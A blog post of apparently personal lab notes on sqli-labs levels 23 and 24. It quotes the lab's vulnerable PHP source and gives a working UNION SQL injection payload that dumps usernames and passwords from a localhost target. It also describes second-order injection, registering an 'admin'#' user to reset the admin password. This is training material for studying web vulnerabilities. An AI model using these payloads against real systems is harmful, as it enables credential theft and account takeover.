Sqlilabs通关笔记(23-24)
第二十三关 基于GET错误的过滤注释
注入点判断
- 老办法单引号反斜杠试了下确实报错
- 但注释过不了怀疑注释有过滤
查看源代码,发现将#和–替换成空了
1
2
3
4
5
6
7
8
9
10
11$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);直接上payload
http://127.0.0.1/sqlilabs2/Less-23/?id=-1' union select 1,(select group_concat(username,password ) from users),3 and ‘1’ = ‘1
第二十四关 POST二次排序注入-存储型注入
注入点判断
- 感觉界面大变样
- 登录进去又是改密码,猜测又是update语句
- 修改密码加反斜杠重新登录未见报错,查看源代码一探究竟
- 有新用户注册文件 New_user.php
- 修改密码文件 pass_change.php
- 登录文件 login.php
- 都使用了mysql_real_escape_string函数对注册的参数进行过滤
- 但在修改密码文件中却是直接调用username参数
- 猜测可以之间注册一个admin’#用户进而修改admin的密码,代码如下
1 | if (isset($_POST['submit'])) |
因为没有报错注入的条件,时间盲注有点漫长可以尝试脚本注册然后再注入,确实有点麻烦
但本题目的是:对于存储型的注入,可以先将导致SQL注入的字符预先存到数据库中,当再次调用到这个恶意构造的字符时就可以触发注入
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 bb的博客!